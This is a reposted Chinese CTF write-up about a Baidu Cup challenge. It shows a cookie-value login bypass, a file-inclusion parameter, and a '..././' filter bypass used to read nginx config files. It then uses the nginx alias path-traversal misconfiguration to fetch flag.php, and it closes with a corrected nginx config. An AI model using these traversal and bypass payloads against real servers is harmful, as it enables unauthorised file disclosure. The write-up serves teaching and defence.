nginx 配置不当导致目录遍历下载漏洞

本文详细记录了在CTF游戏平台上破解登录限制并利用文件包含漏洞的过程。通过修改请求头中的Cookie值绕过登录,再通过URL参数注入,成功读取服务器敏感文件,最终获取flag。文章深入分析了利用技巧及防御建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  今天做百度杯的时候发现一个题很有意思。

点进题目,发现了一个js重定向到login.php,抓包发现请求的header中cookie=0,做过这种类似的题目,o==false,在请求头里面将cookie=1,结果就进去了后台,(login.php中没有发现什么信息),进入后台,

 点开Manage,如上图,网址的构造是module=index$name=php 推测是文件包含,我将index改成flag,说明flag在flag.php中我们所要做的就是提取出flag.php中的内容

思路1 用php://filter文件流读取,发现失败了,可能就需要换一个思路

思路2 先判断有没有过滤,fuzz一下

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in../dex&name=php访问成功

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in./dex&name=php访问失败

说明../被过滤了,用..././绕过,读取/etc/nginx/nginx.conf配置文件,

其中发现了一点可疑的地方,百度一下,发现有个nginx目录遍历下载漏洞

访问这个文件 http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=

 

这里 movie后面有一个 / 

当你浏览http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies,正常情况应该遍历online-movies/这个目录,但是如果访问http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../, 这个的话就会遍历online-movies整个目录了

最后读取flag

 

 

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../var/www/html/flag.php

就不贴出来flag了

漏洞前提条件是必须是子目录、开启了autoindex,并且alias指定目录的时候加了"/",才能利用成功

安全建议:

	location /online-movies {
            alias /movie;
            autoindex on;
        }
	location /online-movies/ {
            alias /movie/;
            autoindex on;
        }


参考:http://luoq.net/ais/1191/

转载于:https://www.cnblogs.com/Mrsm1th/p/6600876.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值